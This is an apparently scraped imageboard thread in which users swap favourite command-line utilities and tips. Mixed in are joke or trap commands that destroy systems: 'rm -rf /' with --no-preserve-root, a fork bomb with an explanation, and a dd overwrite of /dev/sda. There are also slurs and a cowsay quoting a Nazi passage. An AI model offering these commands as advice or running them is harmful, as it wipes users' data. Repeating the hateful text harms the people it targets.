Post terminal utilities

Post terminal utilities

Other urls found in this thread:

youtube.com/watch?v=kCpjg50-nvc
media.8ch.net/file_store/854feee1c0ea4ba7440660a97419be12e1b3c2e6cf3f9a5ac3e394efbaceee93.png
9front.org/9front/sys/src/cmd/cat.c
rg3.github.io/youtube-dl/supportedsites.html
en.wikipedia.org/wiki/Uncontrolled_format_string
archive.is/7qlKC
sqlite.org/cli.html
asciinema.org
onion.debian.org)
joeyh.name/code/moreutils/
cloc.sourceforge.net
kernel.org/pub/linux/utils/util-linux/
github.com/nvbn/thefuck
wiki.archlinux.org/index.php/file_recovery#Extundelete
duckduckgo.com/?q=man page curly braces&atb=v69-3__&ia=qa
entrproject.org/
jaibeermalik.wordpress.com/2012/10/18/imagemagick-mogrify-vs-convert-which-one-to-use-and-when/
archive.fo/0jJV7
commandlinefu.com
github.com/jplaut/vim-arduino-ino/issues/4
github.com/search?q=topic:terminal&type=Repositories
github.com/posva/catimg
github.com/thann/play-with-mpv
wiki.archlinux.org/index.php/RTorrent
twitter.com/NSFWRedditGif

mplayer, terminal based mp3 player.

cdw for burning files or Iso's to disc

su
rm -rf /

w3m terminal browser

I use it for gmail.

Actually useful stuff: screenfetch/neofetch/uname -a, mogrify, lspci, lsusb, nmcli d, htop, netstat (show connected IPs), ping -c , youtubedl, ffmpeg, ssh...
basically, there's a lot of stuff...

wew

slashem is a fun game

sudoedit

mpv -vo caca

conemu

gtfo

shut up linux nerd, you're not intimidating anyone.

it is GNU/Linux. also stop assuming my kernel you shitlord.

pulsemixer is neat

>>>/g/

...

atop
tmux
reboot
poweroff

sudo apt install tor-arm
sudo -u debian-tor arm

sudo pacman -R systemd

:(){ :|: & };:

mpv
mps-youtube
irssi
feh
scrot

echo

These are useful suggestions, thanks.

My melanin enriched fellow!

lynx is better, more secure. If wanna view an image, click it.
Cock.li is better. Gmail is botnet.

sxiv - good image viewer.
hsetroot - for setting wallpapers. (sxiv doesnt do wallpaper setting)
zathura - small pdf viewer, but unlike say mupdf, it has navigation by the table of contents with tab.
youtube-dl - download youtube videos, also lets you view them in mpv or bomi.

also, a command line pastebin:
cat [FILE] | 'curl -F "f:1=

startx

...

You realize it's just a fronted for mupdf or poppler, right?

is that supposed to be an edgy sage?
Did you just stop there and not read the rest of the line?

audio player*

see

[cititation needed]

Use printf instead.

On a Unix derivate system:
convert - convert/edit image X into Y formaticonv - convert between text file encodings a2ps - convert file to postscript for economical printing (great for code hardcopy)youtube-dl - download video/audio of youtube into various formatswget - download anything on the internetod - dump file viewer (can be used with vi as a hex editor)dd - convert/copy files (Want an instant 1Mb random file? dd if=/dev/urandom of=random.file bs=1M count=1 )file - determine filetype of a file


ss (netstat is deprecated?)

P.S.

dig - for IP lookups / reverse DNS

...

Additional shortcuts not on there:

Ctrl +S Freeze screen output (but not process)
Ctrl +Q Unfreeze screen output

Sometimes useful to catch a brief message on the screen before it scrolls off the screen.
Useful when booting PCs too to catch BIOS readout too.

The fuck is "ss"? Why would netstat be deprecated?

The manpage of netstat tells you it is obsolete, and ss is the replacement.

You got the meme answer above, "because the man page says so!"
The real answer is 'net-tools' that provides netstat, ifconfig, and arp among other programs has gone unmaintained for a long time. iproute2, which is actively maintained, provides ss. Netstat could use a ton of dev love... The output has so many bugs. If you're bored, it's a project looking for a daddy :)

powerline/airline, vim + spf13 (bundle)

echo trap \"espeak \'Nice going faggot.\'\" ERR >> ~/.bashrc && source ~/.bashrc

step 0
youtube-dl --extract-audio --prefer-ffmpeg --audio-format vorbis youtube.com/watch?v=kCpjg50-nvc

step 1
convert -size 1337x1337 gray:GNU_Punk\ -\ Share\ the\ Software\ \(Free\ Software\ Song\ Remix\)-kCpjg50-nvc.ogg -append -trim hack.png

step 3
convert hack.png gray:- | mpv -

Comfy:
convert media.8ch.net/file_store/854feee1c0ea4ba7440660a97419be12e1b3c2e6cf3f9a5ac3e394efbaceee93.png gray:- | mpv -

I use that shit for picture previews in ranger, and it leaks memory everywhere. I can't believe that thing is still being used.

plowshare is pretty comfy for one-click hoster crap downloading.
You literally run plowshare and wait till the next captcha (in ascii or via imagemagick) shows up.

>>>/reddit/

Get the fuck out. You don't belong in here.

...

...

Posting some hopefully lesser known cli programs:

ttyload # old ass load ascii program
aria2 # like wget/curl, but much more powerfule, can even torrrent
gmic # like imagemagick, but focussed on awesome filters, theres also a gimp plugin
gnugo # old ass but cool ascii Go game
moon-buggy # a cool side-scrolling ascii game
powertop # find crap that is leeching your power and enable/disable shit
pv # like cat, but with more features like progress bar, etc
xdotool # extremly scriptable x11 utility that interacts with your window manager, wmutils for the poor, I actually wrote a whole tiling wm with just xdotool, pretty cool
unar # free as in freedom unpacking slavery rar files
shellcheck # actually write shellscripts that make sense
sox # tool to produce sounds, unlimited possibilities, like audacity for the cli
tshark # wireshark for the cli, pipe it to sox and listen to the porn flying through your room when downloading some BOBBI STARR HD PR0N, actually forget what I said, just use tcpdump
xargs # actually use your cores and do shit in parallel, example: seq 9 | xargs -P 0 -n 1 like parallel scripting? get GNU Parallel!

my 2cents, happy hacking

This would make the people at cat-v.org flip out

suckless guys are beyond help

i mean, unix philosophy is great, but it shouldn't end up with programs that are slow and less efficient than the same program with 100 lines added for more speed and efficience

compare gnu cat and bsd cat to see what I mean

Are you posting BSD cat as an example of a suckless cat-v-compliant program? BSD cat inspired the rant that gave cat-v its name - it introduced the -v flag. Plan 9 cat is more relevant.
9front.org/9front/sys/src/cmd/cat.c

I didn't know lynx was more secure, I'll check it out.

sysfatal("can't
Bloat. Why is plan9 acting like itss users are toddlers who can't invoke a command correctly?

WTF is this?

WTF is this?

+1

cat allows you to view the contents of a file on your terminal

what did i do wrong? help!
sudo pacman -R systemdchecking dependencies...error: failed to prepare transaction (could not satisfy dependencies):: device-mapper: removing systemd breaks dependency 'systemd':: dhcpcd: removing systemd breaks dependency 'udev':: libinput: removing systemd breaks dependency 'systemd':: libpulse: removing systemd breaks dependency 'systemd':: libusb: removing systemd breaks dependency 'systemd':: libwacom: removing systemd breaks dependency 'systemd':: lvm2: removing systemd breaks dependency 'systemd':: mkinitcpio: removing systemd breaks dependency 'systemd':: netctl: removing systemd breaks dependency 'systemd':: pcmciautils: removing systemd breaks dependency 'systemd':: polkit: removing systemd breaks dependency 'systemd':: systemd-sysvcompat: removing systemd breaks dependency 'systemd'

use feh. both wallpaper setting and image viewing, most minimal interface ever.

gtypist - GNU Typist: learn how to touch type. this program taught me.

WTF is this?

You enter it into your shell and it bogs up your system. It defines a function, naming it ":", and then runs it. If we format it differently and call it "bomb" instead, it looks like this:
bomb () { bomb | bomb &}bomb
The bomb function runs the bomb function twice in the background. That means you get a lot of bomb functions running in the background very quickly, taking up all your resources.
It's called a fork bomb.

xxd -i
Converts binary files to C arrays

I prefer xxd -p

rar e "Mōggio 1.gif"

nah since it's a separate program made for that purpose, all good

People mentioned youtube-dl already but no one has said that it can download from zillion different websites.
rg3.github.io/youtube-dl/supportedsites.html

GTFO

fbi, vlc (using fbcon), youtube-dl, elinks, mutt

printf is less efficient and requires a \n at the end. it's only useful for print special characters imo

Printf is properly standardized, though. POSIX allows echo -n to do literally anything. If you're scripting, especially if you're printing things that aren't constant, printf is superior.

Every single echo implementation is just a wrapper of printf

not the rust implementation.

Replacing a dependency on libc printf with a dependency on LLVM is hardly an improvement.

retard alert

>en.wikipedia.org/wiki/Uncontrolled_format_string
oh...
Would still rather rewrite everything in Guile than Rust.

___________________________< Cowsay! Becuase fuck you. > ___________________________ \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||

sudo pacman -Rnsc system32

What did they mean by this?

mkfifo you plebs.

Once you learn how to stream with ffmpeg, you'll never waste your time on any of that other garbage again.

Why do I get convert.im6: unexpected end-of-file `GNU_Punk - Share the Software (Free Software Song Remix)-kCpjg50-nvc.ogg': No such file or directory @ error/gray.c/ReadGRAYImage/214. at step 1?

why?
I dont necesarially mean its better to use two because muh unix, but theres no advantage to using one either. the wallpaper is a line in my xinitrc, so Its not something I Have to think about or anything.
I like sxiv's interface better.
the answer is packagecount golf, isn't it user?

htop

Will you stop using borrowck as an argument?

why

atop is better
archive.is/7qlKC
lwn.net/Articles/387202/

botnet

_________________________________________ / What we must fight for is to safeguard \| the existence and reproduction of our || race and our people, the sustenance of || our children and the purity of our || blood, the freedom and independence of || the fatherland, so that our people may || mature for the fulfillment of the || mission allotted it by the creator of || the universe. Every thought and every || idea, every doctrine and all knowledge, || must serve this purpose. And everything || must be examined from this point of || view and used or rejected according to |\ its utility. / ----------------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||

+1

Hitler dubs confirmed

sqlite3

sqlite.org/cli.html

why does sqlite3 exists?

You don't have to use cat every time:
head - allows you to view the beginning of the file
tail - allows you to view the end of the file
also less and more

script - allows you to record the console to a file (you can use cat to remove the control characters from it)
asciinema - check it out at asciinema.org
whiptail - simple TUI for your shell scripts

mc - a file manager
apt - why do people still use apt-get?
. torsocks on - because you need it
not really a standalone utility, but apt-transport-tor (onion.debian.org)
nano - because vim is bloatware for servers
dar - Disk ARchive (because tar sucks)


You don't have to use cat every time:
head - allows you to view the beginning of the file
tail - allows you to view the end of the file
also less and more

script - allows you to record the console to a file (you can use cat to remove the control characters from it)
asciinema - check it out at asciinema.org
whiptail - simple TUI for your shell scripts

mc - a file manager
apt - why do people still use apt-get?
. torsocks on - because you need it
not really a standalone utility, but apt-transport-tor (onion.debian.org)
nano - because vim is bloatware for servers
dar - Disk ARchive (because tar sucks)

joeyh.name/code/moreutils/

sponge best
for a in *.cue; do iconv -f vodkanigger -t utf-8 "$a" | sponge "$a"done

Gas yourself already, rust shill.

what's the difference between whereis and which

how is obs?

...

>script - allows you to record the console to a file (you can use cat to remove the control characters from it)
how exactly does the author expect me to search this?

why not just > file?

apt
youtube-dl
chmod
sudo

It can rip shows published online on those stations' websites.

...

Because then the shell would overwrite the file before it is read by the command earlier in the pipeline.

Spotted the casual gamer.

If you're using a terminal browser, why the fuck are you still using gmail's web interface?
Why are you using gmail at all?
Do you have $5 a month and the ability to read tutorials on the Internet? You can host your own email easily. If you wait for deals, you can snag a VPS from a cheap no-name host for $2 a month.
If you don't want to do the work, use something like cock.li. Some people avoid it because the admin played video games with some goons once, but that's kind of a weak argument imho.
Do yourself a favor and leave google, user.

thanks user, didn't know about this before now.

```
$ which vim
/usr/bin/vim
$ whereis vim
vim: /usr/bin/vim /bin/vim /usr/share/vim /usr/share/man/man1/vim.1.gz
```

ix < $file would probably be the best way to use the alias btw

Allow me to add most
I like it better than less, although it does not highlight search and does not have regexp search. On the other hand, it allows you to open multiple files and to split the view screen
requires s-lang

Approved by the Holla Forums Toughbook Shill™

Just kidding, but I didn't know RMS had a T22 back in the day!

scrot -um

Not him, but to use their pop3/imap, you can't have the "basic html" stuff enable in gmail settings. Instead they want you to go full javatard and be stuck using Chromefox anytime you have to admin your account.

But who wants to email their mum from cock.li?

netstat - literally, show network status
ss - never heard of this, probably draws nazi ascii-art symbols on the screen

The manpage of netstat on my system does not tell me it is obsolete, and I have no ss.

...

Do these guys also work for Red Hat?

curl cheat.sh

What do the {} mean in the synopsis?

These digits...

Why does it only fork bomb you if running in the background?
I just tested it and it doesn't do anything bad if I omit the & symbol

Make a @airmail.cc adress.

Shouldn't that be airwolf.cc ?

I should nag vc to make a @knightindustries.com adress, if that's a thing.

kek I found out there is a .industries domain name.

[email protected]/* */ when?

dvdisaster - optical media archival utility with redunancy
gpac - contains the MP4Box utility to manipulate mp4 files
passwd - generate secure passwords

fdisk, for mounting and formating my Zip disks.

underrated utility tbh

joe, mc, inxi, sed, locate, fdisk, ssh, cc, make, rsync, scp, curl, wget, elinks, dig, nmap, apt, cryptsetup...

Thank you for informing me that this exists. I needed something to push me over the edge toward suicide.

youtube-dl

cloc

Also

youtube-dl is about 100k LOC in Python.
Really makes you think.

src/youtube-dl% cloc . 869 text files. 867 unique files. 191 files ignored.cloc.sourceforge.net v 1.60 T=3.17 s (261.6 files/s, 39106.4 lines/s)-------------------------------------------------------------------------------Language files blank comment code-------------------------------------------------------------------------------Python 805 14630 4803 103708make 2 55 8 227ActionScript 17 33 34 198Bourne Shell 4 46 19 159YAML 1 0 4 18-------------------------------------------------------------------------------SUM: 829 14764 4868 104310-------------------------------------------------------------------------------

Make $STRING URL-safe.
echo "$STRING" | tr '[:upper:]' "[:lower:]" | tr ' ' '_' | sed 's/[^.0-9A-Za-z_~-]//g'

dd

tbf, youtube-dl does a shit-ton of websites. If you wind up on any website with video, even your country's broadcaster's catch-up service, there is a very high chance that yt-dl will be able to download from there out of the box.

pacman

find . -exec ffmpeg -i {} output/{}.(output_format) \;

rm -rf / --no-preserve-root

Try:

su
rm -rf / --no-preserve-root

dumbass. You're welcome.

That is equivalent to:tr ' [:upper:]' '_[:lower:]' | tr -dc '.0-9a-z_~-'

...

Shows man page for word under cursor when you press C-k and when you're finished you return the the command line in the state you left it in. I use it all the time.
# put this into bashrcfunction man_on_word { TMP_LN=$READLINE_LINE TMP_POS=$READLINE_POINT # if in between words, move position to the first one while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" = " " ]; do true $((--TMP_POS)) done while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" != " " ] do true $((--TMP_POS)) done if [ 0 -ne $TMP_POS ]; then true $((++TMP_POS));fi TMP_WORD="${READLINE_LINE:$TMP_POS}" TMP_WORD="${TMP_WORD%% *}" man "$TMP_WORD"}bind -x '"\C-k":man_on_word'# if you use vi modebind -m vi-command -x '"K":man_on_word'

Termux app on my Android (bacwerdz c) handi fone 😊

I remember back in the early days of Android, I will admit, I was pretty hyped that you could have a linux environment in the palm of your hand. Then the novelty quickly wore off. On paper it actually sounds great "You can have all your Linux utils on your Smartphone and do mobile development and shit!" but in practice it just doesn't work. Also with the rise of Intel Atom devices you can just grab something equally as portable and put actual x86_64 GNU/Linux on it Fuck you Codemonkey for fucking up my Intel Atom thread, the mod.php method to restore it isn't even fucking working, I'll remake it tomorrow

Since the 2nd process is a child of the process spawning it, it'll die when the parent dies
& backgrounds the process, so it'll survive independent of its parent

Without the &, the whole thing simply dies when the left side of the pipe (the first :) finishes working

I unironically use Emacs on my phone sometimes. It works surprisingly well with a touchscreen.

Second.

haha
kernel.org/pub/linux/utils/util-linux/

i use music123 + flac123 as terminal audio player. comfy.

github.com/nvbn/thefuck

Extundelete is a terminal-based utility designed to recover deleted files from ext3 and ext4 partitions. It can recover all the recently deleted files from a partition and/or a specific file(s) given by relative path or inode information. Note that it works only when the partition is unmounted. The recovered files are saved in the current directory under the folder named RECOVERED_FILES/.

wiki.archlinux.org/index.php/file_recovery#Extundelete

# extundelete /dev/sda4 --restore-file directory/file


# extundelete /dev/sda4 --restore-file SomeUserName/SomeFile


# extundelete /dev/sda4 --restore-directory SomeUserName/SomeDirectory


# extundelete --restore-inode inode


# extundelete /dev/sda4 --restore-all

mp3 is ok now that the patents have expired

Thanks user, this is a good trick.

Finally someone mentioned mutt.

If you want some proper email on Linux, use this not so bad combo: mutt, mu (to read MailDir format) and tmux.

It's OK but it's also useless. Vorbis and (especially) Opus are much better codecs.

Photorec >

Nice 88 words

If you want to use mutt use it with *notmuch*, mutt by itself is a pure crap.

Mind the naming, you fucking faggot. And tmux is for niggers who can't learn job contol.

Actually, tmux is very useful for when you don't have terminal scrollback with Shift-PageUp. This is the case with my laptop when using EFI.
There's other alternatives though, like screen and dvtm.

...

$ su
# dd if=/dev/urandom of=/dev/sda

I know in the old days they had less, script, and even redirection to a file with tee, but that's just not as convenient. Also doesn't give you easy copy & paste functionality. Plus it's great when you get disconnected from a remote host that you can just re-attach the session and keep going where you left off.

I would like to know this

duckduckgo.com/?q=man page curly braces&atb=v69-3__&ia=qa

...

You use mpd to manage your library and mpv to play loose multimedia files.

But I want to view all the images at the same time.

bc, a basic CLI calculator

bc -l to enable floating point math

entr -- run arbitrary commands when files change
Extreamly useful and much better than any built in solutions.
entrproject.org/

Interactive scripting languages replaced bc 20 years ago. Just run python.

...

It's because in coreboot's very early stages it was called linuxbios and the creators first ported it to the t22 and gave stallman one

...

sfk

Neocities

Just use inotify-tools.

youtube-dl is functionally non-free software

cowsay

ponysay

convert
mogrify overwrites original file
jaibeermalik.wordpress.com/2012/10/18/imagemagick-mogrify-vs-convert-which-one-to-use-and-when/
archive.fo/0jJV7

Thank you to anons for |xargs -P 0, mps-youtube, shellcheck, sixels, sponge, C-k into manual, thefuck (lel, thought that was a shitpost :), sfk

screen (the original tmux console splitter and more flexible. Good for connecting to microcontrollers for debugging), ss ('abandoned' netstat is deprecated), lsof -i (open TCP/IP sockets), dig -x (reverse IP lookups), f.lux (adjust screen brightness depending on time of day to reduce eye strain), time (to monitor job time usage), toilet or figlet (for ascii banners), ipfs (not mentioned?! think torrent/ tor/ i2p type file transfer), tree (show folder structure), iconv (check or change file encoding), shasum or md5 (for file hashes), df -h (disk usage), uname -a (system info), cp -par (for simple archiving/backup if not rsync-ing), groff, nroff, troff (text formatter, as used in man pages), wc (count lines, words, characters in file), fc-list (list installed fonts)
Useful terminal commands site for reference commandlinefu.com


Adolf dubs on cowsay noted

user has a special set of skills with that line up :)

I would use a rt kernel if someone showed me real numbers on what difference it makes.
How much latency does linux even have? 1 hour? 1 picosecond? Nobody knows, because they just autistically screech about muh RT kernel without stating the kind of difference it makes.

parsing code isn't non-free, otherwise icecat is non-free.

Icecat *IS* non-free, as is your computer's BIOS.

BSD-licensed glorious alternative
spyware, use redshift or 'sct'
jonls.dk/redshift/
www.tedunangst.com/flak/post/sct-set-color-temperature

more

tmux doesn't support serial console for debugging embedded devices.
github.com/jplaut/vim-arduino-ino/issues/4
Screen is more flexible.
Thanks for sct/redshift user.

You try making sense of youtube's fucked private API in less than 100kloc

pick one

en.wikipedia.org/wiki/System_Management_Mode
Operations in SMM take CPU time away from the applications, operating system kernel and hypervisor, with the effects magnified for multicore processors since each SMI causes all cores to switch modes.[20] There is also some overhead involved with switching in and out of SMM, since the CPU state must be stored to memory (SMRAM) and any write-back caches must be flushed. This can destroy real-time behavior and cause clock ticks to get lost. The Windows and Linux kernels define an ‘SMI Timeout’ setting a period within which SMM handlers must return control to the operating system or it will ‘hang’ or ‘crash’.

woah that's a big snail

github.com/search?q=topic:terminal&type=Repositories
github.com/posva/catimg

triggered

2worseisbetter4me

...

what are you trying to say?
nice sage btw

I prefer maim to scrot:
maim -s ~/Pictures/Screenshots/$(date +%s).png

Gives drag selection or window selection.

Can anyone recommend me command-line torrent client? Thanks.

You don't want a "command-line torrent client", you want a torrent daemon.
Deluge and Transmission have daemon installs with CLI communication available. I use transmission-daemon personally, and it does everything you'd expect it to. If you decide to use transmission-daemon, remember to never edit the config while the daemon is running, because it only reads it when starting up and overwrites it when shutting down, so any changes you make while it's running will be overwritten.
I've never used deluge, so I can't give you any pointers there.

aria2c. Remember to launch it inside tmux.

Cool, thanks.

That Neocities is for hipsters and thus shouldn't have an CLI tool so that hipsters have to always have a browser open to edit their sites? I don't fucking know, I bet that user's just mad that Holla Forums *doesn't* have a CLI tool.

That's reasonable if you need to use a serial console, but tmux is generally better.

+1

Any good music visualizers?

To anyone using youtube-dl with MPV, give this a gander instead of manually copy-pasting like a pleb: github.com/thann/play-with-mpv

#!/bin/shmpv $(xclip -o);
bind with sxhkd or run with a launcher.
copy the url and use said hotkey/launcher.

Thanks, this beats using a plugin.

wiki.archlinux.org/index.php/RTorrent

xclip -selection clipboard -o to make it use the clipboard instead of primary, user.

*

I stick to screen as it requires far less typing for most things, doesn't pull libevent into a minimal install, and can be used to debug modems.

#!/bin/shmpv "$(xclip -o)"
Always quote your shit. Also, semicolons are unnecessary at the end of the line.

Its not really a big deal here since you're never gonna use it with anything on your clipboard that expands to any command.
I guess its no harm just in case.

I dunno. Depends on what you mean by "good".

ffmpeg on my android phone

...

is there soulseek cli client?

I wished.

...

I shiggy.

What did he mean by this?